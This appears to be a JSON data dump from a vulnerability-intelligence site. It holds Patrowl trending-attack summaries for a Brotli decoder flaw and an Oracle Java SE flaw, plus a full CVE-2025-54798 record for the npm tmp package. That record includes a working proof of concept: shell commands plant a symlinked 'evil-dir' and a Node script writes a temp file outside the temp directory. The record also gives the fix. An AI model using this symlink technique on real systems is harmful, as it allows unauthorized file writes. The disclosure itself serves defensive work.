[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"landing-trending":3,"cve-CVE-2025-54798":30,"landing-articles":128},{"count":4,"next":5,"previous":6,"results":7},266,"http:\u002F\u002Fweb:8606\u002Fapi\u002Ftrending_attacks\u002F?page=2&page_size=3&sorted_by=-published_at",null,[8,17,20],{"id":9,"title":10,"summary":11,"published_at":12,"severity":13,"vendor":14,"products":15},265,"Google Brotli decoder - Remote Code Execution via compressed requests (Exploitation Check)","This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it.\r\n\r\nWhy a second control\r\n\r\nCVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli (\"br\") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution.\r\n\r\nAny server that decompresses request bodies sent with \"Content-Encoding: br\" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library.\r\n\r\nThe flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support.\r\n\r\nWhat this control checks\r\n\r\nPatrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service.\r\n\r\nHow to read the result\r\n\r\nPotentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside.\r\n\r\nThis check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification.\r\n\r\nAffected and fixed versions\r\n\r\nGoogle Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution.\r\n\r\nRecommendations\r\n\r\nUpdate every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library.\r\n\r\nReduce the exposure until the update is deployed. Reject requests with \"Content-Encoding: br\" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as \"gzip, br\". On Envoy and Istio, disable request decompression for Brotli.\r\n\r\nReview outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.","2026-10-24T10:37:22.192753Z",4,"google",[16],"brotli",{"id":4,"title":10,"summary":18,"published_at":12,"severity":13,"vendor":14,"products":19},"This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it.\r\n\r\nWhy a second control\r\n\r\nCVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli (\"br\") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution.\r\n\r\nAny server that decompresses request bodies sent with \"Content-Encoding: br\" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library.\r\n\r\nThe flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support.\r\n\r\nWhat this control checks\r\n\r\nPatrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service.\r\n\r\nHow to read the result\r\n\r\nPotentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside.\r\n\r\nThis check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification.\r\n\r\nTwo situations are possible. When the decoding is done by your own application or reverse proxy, identify the component and update it. If an update is not possible right away, reject requests with \"Content-Encoding: br\" at the reverse proxy or WAF.\r\n\r\nWhen the asset is hosted on a managed platform or behind a CDN (for example Platform.sh, Upsun or Fastly), the decoding may be done by the provider's edge router, in front of your application. You cannot patch it yourself, but this router handles all the traffic of your site. Ask your provider to confirm that its edge components are patched against CVE-2026-111497. Assets hosted on a managed platform or behind a CDN carry the tag \"paas: platform.sh\" or \"cdn: fastly\" in the asset view: for these assets, the Brotli decoding is done by the provider's edge router, in front of your application, and only the provider can patch it.\r\n\r\nAffected and fixed versions\r\n\r\nGoogle Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution.\r\n\r\nRecommendations\r\n\r\nUpdate every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library.\r\n\r\nReduce the exposure until the update is deployed. Reject requests with \"Content-Encoding: br\" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as \"gzip, br\". On Envoy and Istio, disable request decompression for Brotli.\r\n\r\nContact your edge provider about the status of the pathing (Fastly \u002F Plateform.sh)\r\n\r\nReview outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.",[16],{"id":21,"title":22,"summary":23,"published_at":24,"severity":13,"vendor":25,"products":26},263,"Oracle Java SE JSSE - Improper Access Control & Unauthorized Data Access & Unauthorized Data Modification","Oracle Java SE is the Java runtime and development platform. Its JSSE (Java Secure Socket Extension) component provides TLS\u002FSSL for secure network communication. Oracle GraalVM is a JDK distribution based on the same platform.\r\n\r\nCVE-2026-91403\r\n\r\nA vulnerability in the JSSE component of Oracle Java SE, Oracle GraalVM for JDK and Oracle GraalVM Enterprise Edition can be exploited by an unauthenticated attacker with network access over multiple protocols. A successful attack can give unauthorized access to critical data and allow unauthorized creation, deletion or modification of data. It can also affect sandboxed Java Web Start applications and applets that run untrusted code. The record lists the weakness as CWE-284 (Improper Access Control) in the CISA ADP entry, while another database lists CWE-295. The record lists these affected versions:\r\n- Oracle Java SE: 8u511, 8u511-perf, 11.0.33, 17.0.21, 21.0.13, 25.0.5, 27.0.1.\r\n- Oracle GraalVM for JDK: 17.0.21, 21.0.13.\r\n- Oracle GraalVM Enterprise Edition: 21.3.20.\r\n\r\nOracle published an out-of-cycle Security Alert on October 21, 2026. One secondary source says the fix makes Java distrust eight compromised intermediate CA certificates shipped with the JDK. The Oracle-focused sources do not confirm this root cause, so check it against the Oracle advisory. CISA ADP SSVC data shows Exploitation: none, Automatable: yes, Technical Impact: total. The CVE is not in the CISA KEV catalog as of October 22, 2026, and its EPSS score is below 1%.","2026-10-23T14:12:32.871954Z","Oracle",[27,28,29],"Oracle Java SE","Oracle GraalVM Enterprise Edition","Oracle GraalVM for JDK",{"id":31,"cve_id":32,"euvd_id":33,"summary":34,"published":35,"cvss_data":36,"is_remote":46,"cwes":47,"cpes":49,"technologies":53,"references":56,"score":63,"epss_score":64,"epss_percentile":65,"is_kev":46,"cisa_kev_date_added":6,"cisa_kev_due_date":6,"cisa_ssvc":66,"attack_mappings":76,"exploits":126},74327,"CVE-2025-54798","EUVD-2025-23895","tmp allows arbitrary temporary file \u002F directory write via symbolic link `dir` parameter\n\n### Summary\n\n`tmp@0.2.3` is vulnerable to an Arbitrary temporary file \u002F directory write via symbolic link `dir` parameter.\n\n\n### Details\n\nAccording to the documentation there are some conditions that must be held:\n\n```\n\u002F\u002F https:\u002F\u002Fgithub.com\u002Fraszi\u002Fnode-tmp\u002Fblob\u002Fv0.2.3\u002FREADME.md?plain=1#L41-L50\n\nOther breaking changes, i.e.\n\n- template must be relative to tmpdir\n- name must be relative to tmpdir\n- dir option must be relative to tmpdir \u002F\u002F\u003C-- this assumption can be bypassed using symlinks\n\nare still in place.\n\nIn order to override the system's tmpdir, you will have to use the newly\nintroduced tmpdir option.\n\n\n\u002F\u002F https:\u002F\u002Fgithub.com\u002Fraszi\u002Fnode-tmp\u002Fblob\u002Fv0.2.3\u002FREADME.md?plain=1#L375\n* `dir`: the optional temporary directory that must be relative to the system's default temporary directory.\n     absolute paths are fine as long as they point to a location under the system's default temporary directory.\n     Any directories along the so specified path must exist, otherwise a ENOENT error will be thrown upon access, \n     as tmp will not check the availability of the path, nor will it establish the requested path for you.\n```\n\nRelated issue: https:\u002F\u002Fgithub.com\u002Fraszi\u002Fnode-tmp\u002Fissues\u002F207.\n\n\nThe issue occurs because `_resolvePath` does not properly handle symbolic link when resolving paths:\n```js\n\u002F\u002F https:\u002F\u002Fgithub.com\u002Fraszi\u002Fnode-tmp\u002Fblob\u002Fv0.2.3\u002Flib\u002Ftmp.js#L573-L579\nfunction _resolvePath(name, tmpDir) {\n  if (name.startsWith(tmpDir)) {\n    return path.resolve(name);\n  } else {\n    return path.resolve(path.join(tmpDir, name));\n  }\n}\n```\n\nIf the `dir` parameter points to a symlink that resolves to a folder outside the `tmpDir`, it's possible to bypass the `_assertIsRelative` check used in `_assertAndSanitizeOptions`:\n```js\n\u002F\u002F https:\u002F\u002Fgithub.com\u002Fraszi\u002Fnode-tmp\u002Fblob\u002Fv0.2.3\u002Flib\u002Ftmp.js#L590-L609\nfunction _assertIsRelative(name, option, tmpDir) {\n  if (option === 'name') {\n    \u002F\u002F assert that name is not absolute and does not contain a path\n    if (path.isAbsolute(name))\n      throw new Error(`${option} option must not contain an absolute path, found \"${name}\".`);\n    \u002F\u002F must not fail on valid .\u003Cname> or ..\u003Cname> or similar such constructs\n    let basename = path.basename(name);\n    if (basename === '..' || basename === '.' || basename !== name)\n      throw new Error(`${option} option must not contain a path, found \"${name}\".`);\n  }\n  else { \u002F\u002F if (option === 'dir' || option === 'template') {\n    \u002F\u002F assert that dir or template are relative to tmpDir\n    if (path.isAbsolute(name) && !name.startsWith(tmpDir)) {\n      throw new Error(`${option} option must be relative to \"${tmpDir}\", found \"${name}\".`);\n    }\n    let resolvedPath = _resolvePath(name, tmpDir); \u002F\u002F\u003C--- \n    if (!resolvedPath.startsWith(tmpDir))\n      throw new Error(`${option} option must be relative to \"${tmpDir}\", found \"${resolvedPath}\".`);\n  }\n}\n```\n\n\n### PoC\n\nThe following PoC demonstrates how writing a tmp file on a folder outside the `tmpDir` is possible.\nTested on a Linux machine.\n\n- Setup: create a symbolic link inside the `tmpDir` that points to a directory outside of it\n```bash\nmkdir $HOME\u002Fmydir1\n\nln -s $HOME\u002Fmydir1 ${TMPDIR:-\u002Ftmp}\u002Fevil-dir\n```\n\n- check the folder is empty:\n```bash\nls -lha $HOME\u002Fmydir1 | grep \"tmp-\"\n```\n\n- run the poc\n```bash\nnode main.js\nFile:  \u002Ftmp\u002Fevil-dir\u002Ftmp-26821-Vw87SLRaBIlf\ntest 1: ENOENT: no such file or directory, open '\u002Ftmp\u002Fmydir1\u002Ftmp-[random-id]'\ntest 2: dir option must be relative to \"\u002Ftmp\", found \"\u002Ffoo\".\ntest 3: dir option must be relative to \"\u002Ftmp\", found \"\u002Fhome\u002Fuser\u002Fmydir1\".\n```\n\n- the temporary file is created under `$HOME\u002Fmydir1` (outside the `tmpDir`):\n```bash\nls -lha $HOME\u002Fmydir1 | grep \"tmp-\"\n-rw------- 1 user user    0 Apr  X XX:XX tmp-[random-id]\n```\n\n\n- `main.js`\n```js\n\u002F\u002F npm i tmp@0.2.3\n\nconst tmp = require('tmp');\n\nconst tmpobj = tmp.fileSync({ 'dir': 'evil-dir'});\nconsole.log('File: ', tmpobj.name);\n\ntry {\n    tmp.fileSync({ 'dir': 'mydir1'});\n} catch (err) {\n    console.log('test 1:', err.message)\n}\n\ntry {\n    tmp.fileSync({ 'dir': '\u002Ffoo'});\n} catch (err) {\n    console.log('test 2:', err.message)\n}\n\ntry {\n    const fs = require('node:fs');\n    const resolved = fs.realpathSync('\u002Ftmp\u002Fevil-dir');\n    tmp.fileSync({ 'dir': resolved});\n} catch (err) {\n    console.log('test 3:', err.message)\n}\n```\n\n\nA Potential fix could be to call `fs.realpathSync` (or similar) that resolves also symbolic links.\n```js\nfunction _resolvePath(name, tmpDir) {\n  let resolvedPath;\n  if (name.startsWith(tmpDir)) {\n    resolvedPath = path.resolve(name);\n  } else {\n    resolvedPath = path.resolve(path.join(tmpDir, name));\n  }\n  return fs.realpathSync(resolvedPath);\n}\n```\n\n\n### Impact\n\nArbitrary temporary file \u002F directory write via symlink","2025-08-06T17:06:00Z",{"cvss_v3.1":37},{"scope":38,"version":39,"baseScore":40,"attackVector":41,"baseSeverity":42,"vectorString":43,"integrityImpact":42,"userInteraction":44,"attackComplexity":45,"availabilityImpact":44,"privilegesRequired":42,"confidentialityImpact":44},"UNCHANGED","3.1",2.5,"LOCAL","LOW","CVSS:3.1\u002FAV:L\u002FAC:H\u002FPR:L\u002FUI:N\u002FS:U\u002FC:N\u002FI:L\u002FA:N","NONE","HIGH",false,[48],"CWE-59",[50,51,52],"cpe:2.3:a:raszi:tmp:*:*:*:*:*:node.js:*:*","cpe:2.3:a:tmp:tmp:*:*:*:*:*:*:*:*","cpe:2.3:a:tmp:tmp:0.2.3:*:*:*:*:*:*:*",[54,55],"Raszi Tmp","Tmp Tmp",[57,58,59,60,61,62],"https:\u002F\u002Fgithub.com\u002Fraszi\u002Fnode-tmp\u002Fcommit\u002F188b25e529496e37adaf1a1d9dccb40019a08b1b","https:\u002F\u002Fgithub.com\u002Fraszi\u002Fnode-tmp\u002Fissues\u002F207","https:\u002F\u002Fgithub.com\u002Fraszi\u002Fnode-tmp\u002Fsecurity\u002Fadvisories\u002FGHSA-52f5-9888-hmc6","https:\u002F\u002Flists.debian.org\u002Fdebian-lts-announce\u002F2025\u002F08\u002Fmsg00007.html","https:\u002F\u002Fnvd.nist.gov\u002Fvuln\u002Fdetail\u002FCVE-2025-54798","https:\u002F\u002Fgithub.com\u002Fraszi\u002Fnode-tmp",0.28,0.00355,0.28889,{"timestamp":67,"automatable":68,"tech_impact":69,"exploitation":70,"cisa_decision":71,"cisa_remediation_timeline":75},"2025-08-07T14:04:19.811342Z","no","partial","poc",{"vector":72,"decision":73,"priority":74},"CISAv1\u002FE:P\u002FA:N\u002FT:P\u002FM:H\u002F2026-10-26T05:14:02.273359\u002F","track_star","medium","60D",[77,83,92,98,106,112,120],{"name":78,"source":79,"tactics":80,"technique_id":82},"Exploitation for Privilege Escalation","attack_vector",[81],"privilege-escalation","T1068",{"name":84,"source":85,"cwe_ids":86,"tactics":87,"capec_ids":89,"technique_id":91},"HTML Smuggling","capec",[48],[88],"stealth",[90],"CAPEC-35","T1027.006",{"name":93,"source":85,"cwe_ids":94,"tactics":95,"capec_ids":96,"technique_id":97},"Embedded Payloads",[48],[88],[90],"T1027.009",{"name":99,"source":85,"cwe_ids":100,"tactics":101,"capec_ids":103,"technique_id":105},"Shortcut Modification",[48],[102,81],"persistence",[104],"CAPEC-132","T1547.009",{"name":107,"source":85,"cwe_ids":108,"tactics":109,"capec_ids":110,"technique_id":111},"Resource Forking",[48],[88],[90],"T1564.009",{"name":113,"source":85,"cwe_ids":114,"tactics":115,"capec_ids":117,"technique_id":119},"Executable Installer File Permissions Weakness",[48],[116,88],"execution",[118],"CAPEC-17","T1574.005",{"name":121,"source":85,"cwe_ids":122,"tactics":123,"capec_ids":124,"technique_id":125},"Services File Permissions Weakness",[48],[116,88],[118],"T1574.010",[127],{"link":59},{"count":129,"next":130,"previous":6,"results":131},26,"http:\u002F\u002Fweb:8606\u002Fapi\u002Farticles\u002F?page=2&page_size=3&sorted_by=-published_at",[132,140,148],{"id":133,"title":134,"summary":135,"published_at":136,"type":137,"link":138,"image_url":139},30,"PHP2Shell: Two Critical RCE Flaws in PHP (CVSS 9.2)","Unauthenticated code execution demonstrated on WordPress, Drupal and Joomla, and reproduced in our lab. Patched versions and steps to take today.","2026-10-22T00:00:00Z","cve","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fphp2shell-2-critical-rce-flaws-php-cvss-9-2","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002Fc0615c4ee6-1792684469\u002Fphp2shell-2-critical-rce-flaws-php-cvss-9-2.png",{"id":141,"title":142,"summary":143,"published_at":144,"type":145,"link":146,"image_url":147},29,"Manage External Security Across All Your Entities","Centralize the management of entities, users and external security resources while maintaining strict data isolation with Patrowl.","2026-09-15T00:00:00Z","security tips","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fmulti-entity-external-security-how-structure-governance-group-level","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F8b2c0cc5eb-1789551467\u002Fvisu_1_multi_tenancy_dark_1x.webp",{"id":149,"title":150,"summary":151,"published_at":152,"type":153,"link":154,"image_url":155},28,"Will AI Become the Next Hacker? Bruce Schneier Answers at DEF CON 34","Tax law, finance, legislation: Bruce Schneier shows how AI could hack human rule systems just as easily as it hacks software.","2026-09-14T00:00:00Z","hacks","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fbruce-schneier-def-con-34","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F5c616d9db4-1789462598\u002Fai-hacker.en.png"]